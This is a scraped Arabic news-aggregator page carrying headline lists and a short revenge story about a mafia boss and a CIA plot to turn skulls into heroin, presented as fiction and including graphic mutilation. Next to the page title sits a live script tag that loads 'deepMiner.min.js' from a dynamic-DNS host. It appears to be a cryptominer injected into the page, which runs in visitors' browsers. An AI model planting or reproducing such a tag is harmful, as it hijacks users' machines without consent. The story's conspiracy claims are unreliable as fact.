googletag.defineSlot('/21620968445/Turess_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-362196229-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_1', 'div-gpt-ad-362196229-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-362196231-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_3', 'div-gpt-ad-362196231-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-362196230-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Article_2', 'div-gpt-ad-362196230-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Widget', [[222, 280]], 'div-gpt-ad-437865081-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Widget', 'div-gpt-ad-437865081-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Turess_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-710471218-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Turess_Ar_Siteunder', 'div-gpt-ad-710471218-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); تورس : جماجمٌ فى أُنوفٍ طائشةٍ<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
الشّاهد: الحكومة لن تتدخّل في عمل الصحفيين    العيادي يدعو الوزراء الجدد إلى التصريح بمكاسبهم قبل المباشرة    صادم: 2000 مليار تكلفة الفساد في تونس    بعد تأجيل الإضراب : مفاوضات بين وزارة النقل وغرفة "التاكسيات"    اليوم: ندوة وطنية حول التمكين الإقتصادي والإجتماعي للفلاحات    بفضل قطاع الفلاحة..الاقتصاد التونسي يحقق انتعاشة طفيفة    وزير الداخلية الإيطالي يستقبل 51 مهاجرا    صاعقة رعدية تودي بحياة لاعب كرة قدم    المنتخب التونسي يجري اليوم الخميس آخر حصة تدريبية قبل مواجهة مصر    فظيع: طعن عجوز ال84 سنة بآلة حادّة في أماكن مختلفة من جسدها.. وحفيدها في قفص الاتهام    أمل حجازي تؤدي مناسك العمرة (صور)    يشارك فيه ضيوف أجانب وأمراء : بن قردان تحتضن المهرجان الوطني للفروسية    اليوم: الاستماع الى هؤلاء الوزراء بمجلس نوّاب الشعب    وزير التجارة: ينتظر أن تبلغ كمية الحليب المورّدة 5.5 مليون لتر    كاس افريقيا للامم: مصر تستضيف تونس في كلاسيكو مثير وواعد    الكرة الطّائرة النّسائية : النّادي الصفاقسي ينتدب اللّاعبة رحمة العقربي    تصفيات كاس امم افريقيا – مصر – تونس : الاطارالفني للمنتخب التونسي يعقد مساء اليوم ندوة صحفية في ملعب برج العرب    منظمة الأعراف تدعو إلى إحداث خطوط تمويل عوضا عن بنك الجهات    هكذا سيكون الطقس اليوم    مصدر أمني يكشف ل"الصباح نيوز" تفاصيل اغتصاب شاب لابنة عمه ذات ال4 سنوات بحمام الأنف    ترامب يقيل مسؤولة اشتكت زوجته ميلانيا منها    التحقيق مع قائد بالشرطة الفلسطينية لتغييره إطار عربة للجيش الإسرائيلي    لأول مرة... هند صبري تتكلم عن الهجوم الحاد الذي تعرضت له بعد انتقادها لسعد لمجرد‎    دار الإفتاء المصرية تلجأ للرسوم المتحركة لمكافحة أفكار المتطرفين    في الحب والمال: هذا ما يخفيه لكم حظكم اليوم    قصيدة جديدة للشاعر كمال بوعجيلة    لصحتك : كل فنجان قهوة إضافي يطيل عمرك!    تشخيص مرض التوحد عند الأطفال    ارتفاع ب4% في حجم الصادرات    القبض على شخص من أجل السرقة تحت طائلة التهديد بسلاح أبيض    رجب حاجي يكتب لكم : الطريقة المثلى لبناء المصير المشترك    وزراء إسرائيليون : حماس "علّمت علينا" ب460 صاروخا في 24 ساعة    إمام يعلن ترشحه للانتخابات من فوق المنبر!    الفنان الشعبي قاسم كافي في ذمة الله    عدد قتلى حرائق كاليفورنيا 59 على الأقل والمفقودين 130    عصام الجبالي يتوج مع روزنبيرغ بلقب البطولة النرويجية    تصفيات كاس امم افريقيا 2019.. المدافع المصري محمود حمدي يغيب عن مباراة مصرو تونس    الجزائر: استقالة جمال ولد عباس وتساؤلات عن مصير الولاية الخامسة لبوتفليقة    بحضور ماكرون.. المغرب يطلق أسرع قطار في أفريقيا    في الغذاء دواء : 7 فوائد صحية للتمور    بورصة تونس للأوراق المالية تنهي حصة الأربعاء بشكل إيجابي    الرصد الجوي يحذّر مستعملي الطريق من الضباب الكثيف    لطفي الرياحي (رئيس المنظمة التونسية لإرشاد المستهلك):المضاربات رفعت أسعار الزقوقو والفواكه الجافة    عروض اليوم    منير العرقي يتحدث عن عرض مسرحيته الجديدة «القبلة»:أردتها قبلة على جبين «تشيكوف» وتكريما لصلاح مصدق    بعد لطيفة ونانسي وهيفاء وهبي :شعبان عبدالرحيم يتعرّض مجدّدا لتهديدات داعش    منزل بورقيبة :إيقاف مروّج مخدرات مفتش عنه    حمام الأنف:يغتصب ابنة ال 4 أعوام بوحشية بسبب خلافات مع والدها    تورّطن في البراكاجات والمخدرات:نساء يقتحمن عالم الجريمة    سلمى اللومي:هذه الاعتمادات التي تم رصدها لرئاسة الجمهورية بعنوان سنة 2019    صوت الشارع:هل ستقومون بإعداد عصيدة «الزقوقو» هذا العام ؟    لا تقطعوا نكهتنا    جماهير النادي الافريقي تحتج بحديقة الرياضة أ    لحوم ابقار مصابة بداء السل محجوزة في المسلخ البلدي بالقصرين    يمكن تجنب مرض السكري بنسبة 80 بالمائة من خلال اتباع نمط عيش متوازن (وزارة الصحة)    محمد الحبيب السلامي يسأل: قضاء يحكم ولا ينفذ        في الحب والمال: هذا ما يخفيه لكم حظكم اليوم    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





جماجمٌ فى أُنوفٍ طائشةٍ
نشر في الحوار نت يوم 28 - 03 - 2018


"القصة من خيالى ولا علاقة لها بالواقع"........

قام دانتى الإيطالى الذى يقطن بجزيرة صقلية وصاحب أكبر مافيا مخدرات فى العالم آنذاك بقتل عائلة جاك الأمريكى فى أمريكا نفسها,هذا القتل الممنهج والمخطط له والمعفىّ عنه سرّاً مِن قِبلِ السي آى إيه .
لقد كثرتْ هذه العمليات الممنهجة ضد الأُسر الأمريكية فى ولايات كنتاكى والاباما وسوث كارولينا ولويزانا والمسيسبي,وأغلبية الولايات صاحبة البشرة السوداء وخصوصاً لو كانتْ ولايات فقيرة.
هجم دانتى وبعض من رجاله على المنزل القائم بولاية المسيسبي وقتل أُمّه وأُختيه,وحاول قتل جاك غير أنه استطاع الفكاك والهرب من قبضته .
ولم ينسْ جاك الصبى ملامح دانتى فقد ارتكزتْ فى دماء قلبه الفائرة قبل أنْ ترتكز فى نسيج خياله.

مرتْ عشرون عاماٌ..
بينما جاك يزور عائلته فى مقابر المسيسبي ليلاً إذ سمع وقع أقدام قادمة على بعد عدة أمتار فتوارى خلف جدارليتقيهم وليتبين سبيلهم.
وقفوا وسط المقابر وقال أحدهم ويبدوا أنه كبيرهم,قال تبينوا مواعيد الوفيات جيداً وانبشوا قبور أموات العشرين عاماً مضتْ,واحضروا لى جماجمهم .. هيا أسرعوا.
ثُم ولّى وجهه ناظراً فى أرجاء المقابر فرأي وجهه,إنه دانتى.
تضخمتْ عضلات قلب جاك وجسده على الفور,وارتسم على وجهه ملامح التوحش والإفتراس.
إنقضّ جاك على دانتى ولم يسعف دانتى الوقتُ لخروج المسدس من مغمده ,خطفه جاك من يده وقتل به رجاله كلهم .
جثا دانتى على ركبتيه طالباً العفو والمغفرة اذ تيقن من موتٍ محققٍ لأنه كان يظنه من مناصرى الشيوعية المتعصبين جداً,غير أنه كان يدور بخلده أيضاً أن يكون من أقارب إحدى الأُسر الضحايا التى قامتْ المافيا بتصفيتهم .
جاك :هل تذكر جريمتك من عشرين عاماً حيث ......... ألم تذكرْ الصبي الذى هرب ؟
دانتى:لا
جاك :حُقّ لك أنْ تنسى,فجرائمك فاقتْ كل تصور.
حاول دانتى جاهداً أنْ يتذكر عملية قتل فيها أسرة نجا منها صبى,وعندما تذكر قال,,جاك لن يفيدك الإنتقام ,سأمنحك مالاً يجعلك أغنى أغنياء العالم.
لم يعبأ جاك بعرضه لإن الإنتقام هو غايته,بيد أنه يريد أن يعرف لماذا يقتلون وماذا يفعلون بالجماجم.
جاك : لماذا قتلتم أهلى؟ ولِمَ تريدون جماجم الموتى؟
دانتى:ما الثمن لو أخبرتك بالحقيقة ؟ عِدنى بألا تقتلنى وأعدك بقول الحقيقة.
جاك : موافق
دانتى :أنا إيطالى الجنسية ,تعاونتْ مع إدارتكم "السي آى أيه"على تقليص المد الشيوعى فى جزيرة صقلية إبان الحرب الباردة بينها وبين السوفييت .
كذلك من مهمتنا هو السيطرة على مقاليد الحكم فى جزيرتى وإثارة الشعب ضد الحكام الذين كانوا يوالون الشيوعيين ويتصبّغون بصبغتهم.
ومن أعمالنا أيضاً بث بذور البغضاء ضد الشيوعية وتجميل الدور الأمريكى وتجسيده فى دور البطل والمُخلِص من براثنها .
جاك :ولِمَ
دانتى:لإستعمار بلادنا .
جاك : والمقابل؟
دانتى : قال متردداً ومتلجلجاً ..غضُّ طرف إدارتكم عن دخول مخدراتنا الأصلية والمغشوشة فى بلادكم و....لجلج ثانية
جاك : وماذا؟
دانتى:قتْل بعض فقراءكم السود فى الولايات الفقيرة بالأخص والتى يعمها الجهل و...لجلج ثالثة
جاك :لكمه لكمة أدمتْ وجهه ثم قال له وماذا؟
دانتى:سرقة جماجم الموتى وطحنها مع بعض الهيروين وتخدير الشعب الأمريكى بها .
جاك: ولذلك قتلتم عائلتى واليوم بعد أن أينعت جماجمهم لصناعة الهيروين أتيتم لأخذها وطحنها وتركها تتطاير فى أُنوف طائشة.
لم ينبس دانتى بكلمة وحطّ وجهه إلى الأرض مكْراً ورياءً.

قال جاك الان أُوفّيك عهدى.
وسأله.. هل تعرف عائلتك لِمَ أنتَ هنا ؟ فى أمريكا ؟ فأومأ برأسه أى نعم .
فردّ جاك بقوله .. آه يا أنذال يا أولاد الكلب.
وخطف جاك هاتفه الجوال بحنقٍ وأرسل رساله إلى أهله نصها "زوجتى وأولادى أنا الان فى أمريكا حيث تعلمون ما أفعل وسوف أُرسل لكم طرْداً وهو مفاجأة كبري سوف تسعدكم أيّما سعادة,فانتظروه فى القصر حتى يأتكم.
جاك :أتريد الوفاء ألان؟ نظر إليه دانتى بوجل ورجاء.
ألان ألان أوفيك,أنت الطرد سأرسلك إليهم.
نظر اليه دانتى بتعجب ممزوج برائحة النجاة.وشحنه جاك .
وصل الطرد لعائلة دانتى فى قصرهم الكائن بإحدى جزر صقلية ,ذاك الطرد الذى أبلغهم إيًاه برسالة من جواله منذ يومين.
أسرعوا نحو الطرد لينظروا ماذا أعد لهم أبيهم من مفاجاة قال لهم عنها فى رسالته أنها ستكون أكبر مفاجآت حياتهم.
قتحوا الطرد فوجدوا دانتى أبيهم ملجم بلاصق راتنجى على فمه ومقطوع الأُذنيْن والأنف والذراعين والقدميْن ومفقوء العينيْن.
سقطوا جميعاً مغشياً عليهم .
جرى أحد الجيران فى القصر المجاور على صوت صراخاتهم ,فنظرإليهم وبجانبهم صندوق به دانتى فأزال الشريط اللاصق من على فمه فوجد لسانه مقطوع ينزف دماً ويعيا فى النطق لعجزه عن الكلام.

إتجه جاك إلى مطار إيطاليا قاصداً الإياب إلى أمريكا بعد أن أنهى مهمته,وهو راضٍ تماماً عمّا فعل ,حيث أنه فعل بدانتى ما هو أشرُّ من القتل ,وعذب عائلته به التى كانتْ تعيش على أجساد الأموات من المقتولين وأصحاب الجماجم من بنى وطنه.
عائلته التى كانت تتنسم الحرية وتستنشق الطيب على رماد جماجم بنى وطنه الغلابة السود.
عاد قاصداً القبور,وفى غفوة غفاها رأى جماجماً تغرق فى لُجج بحر خضم وانبثق من كل جمجمة منها يدان .
هاتان اليدان تندفعان نحوه من وسط البحر تريد النجاة والخلاص.
آفاق من غفوته ثم انتفضّ من مكانه وقرّر الثورة وفضْح الإدارة الأمريكية وإثارة الناس عليهم .
ثم صرخ صرخة ملأتْ الآفاق قائلاً .. الثورة .. الثورة .. الثورة .

ذهب جاك إلى الصحافة لكى يؤلّبهم على السي آى ايه فقابلوه وطلبوامنه دليلاً ,وهذا ليس عجيباً منهم وإنما العجيب أنهم لم يفاجئوا مما سمعوه منه لأنهم كانوا على دراية بما تفعله الإدارة الأمريكية من أجل ايقاف المد الشيوعي ليس فى صقلية فحسب بل فى أوروبا وأفريقيا وأسيا على السواء.
ولم يكن معه دليل ولكن العزيمة بداخله أقوى من أى دليل ,تلك العزيمة المتاججه من بوتقة منصهرة انصهرتْ وما زالتْ تنصهر بسبب قتل
الغلابة من بنى وطنه وبالأخص السود.
ولم يجد جاك بُدّاً من رسم خطة محكمة للخلاص من هذا المخطط الآثم بين السي آى ايه والمافيا الإيطالية.
وتلك خطته ...
نادي فى بعض الولايات الفقيرة والتى كانت أكثرهم من السود ,ناداهم لاصطحابهم إلى زيارة أهليهم فى القبور وقدِ ادعي أنه مرسلٌ من عند المسيح.
ذهبوا خلفه كالنمل حتى أذا أتوْا المقابر قال :أيها الناس من بنى وطنى ,قد جئتُ بكم اليوم لتروا بأنفسكم ما لن تصدقوه بالسمع دون البصر.
ثم نادي فيهم ..من مات له أحد منذ عشرين عاماً فأكثر فليأتنى..
فآتاه الكثير فقال لهم انبشوا قبور أهليكم .
فتعجبوا واغتاظوا وولوْا عنه . ناداهم .. يا قومى ..لن تجدوهم فرؤسائكم قد أباحوا دمائكم وجمامكم وجماجم أهليكم..
يا قوم ..السي آى ايه على تفاق مع مافيا المخدرات فى صقلية لاستباحة دمائكم وموتاكم للمافيا مقابل أنْ يعاونوهم على إيقاف المد الشيوعى فيها,تلك الحرب الباردة لم تكن باردة عليكم بل إبادة أحيائكم وموتاكم.
بدا القوم يرون فى كلامه شئ من الصدق ,,فنادى أحدهم ..لن نخسر شيئاً لو فتحنا قبرين أو ثلاثة .
فتحوا القبور فوجدوا معظمها فارغة من الجماجم ..
قام بالتصوير ومعاينة الموقع وملابساته كل وكالات الأخبار وخاصة "نيويورك تايمز"،"واشنطن بوست"-لوس انجلوس تايمز"
وفى صباح اليوم التالى صدرتْ الصحف تكبُّ جامّ غضبها على النظام الفيدرالى كله .وقد تصدّرتْ الصحف الأمريكية عناوينا وصوراً حول الحدث برمته من البداية الى لحظة كشف الحقيقة جلية ,وكانت معظمها عناويناً وصوراً ساخرة.
عناوين : المؤامرة السوداء - وحش التفرقة العنصرية يلتهم السود-جماجم الآباء فى خياشيم أُنوف الأبناء - الشعب الأمريكى يأكل نفسه-رقصات الأبناء على ملهى آبائهم -أرواح الأموات تستعمر أُنوف الأحياء-الأموات تحيا لتتحد مع الأنوف- الهيروين والجماجم -لابد من محاكمة كل من ضلع فى تلك المؤامرة الخسيسة.
عنوان هام : لابد من الثورة وقلب النظام بأكمله
ومن الصور: صورة لرجل أسود يشم جمجمة والده ويلتذ -الولايات المذكورة فى صورة تعلوها علامات المقابر ومدون بها هيا تعالوا الى الكيف - جماجم يطأها دانتى وفى إحدى يديه دولارات والأُخرى حفنة هيروين... إلخ.

تعاطف البيض لأول مرة مع السود واعتصموا ,واصطفَّ الشعب الأمريكى كله منادياً بشعارات ثورية تتطالب بقلب نظام الحكم كله ومحاكمة المسؤولين عن هذه المهزلة .
قامتْ الشرطة بالقبض على مثيري الشغب وإيداعهم فى السجن كى يرتدع باقى الثوار .
كما تم إلقاء القبض على جاك وإيداعه فى مستشفى الأمراض العقلية.. قالتْ السي آي ايه أن جاك يعانى من اضطرابات نفسية حادة من صغره ,ولقد وافدتنا أخبارمن الأطباء النفسيين كلهم بذلك .
بعد إيداعه بيومين وُجِد َمشنوقاً فى حجرته ,وتصدرتْ الصحف خبرانتحاره وتلقاه الناس للأسف ما بين مصدق ومرتاب.
قُتل جاك فى محبسه النفسي شنقاً واُدُعِىَ عليه بالجنون لدرأ الشبهة عنهم وتلميع صورة السي آى ايه.

********
القاص :إبراهيم امين مؤمن
كُتبت :مارس 2018


انقر هنا لقراءة الخبر من مصدره.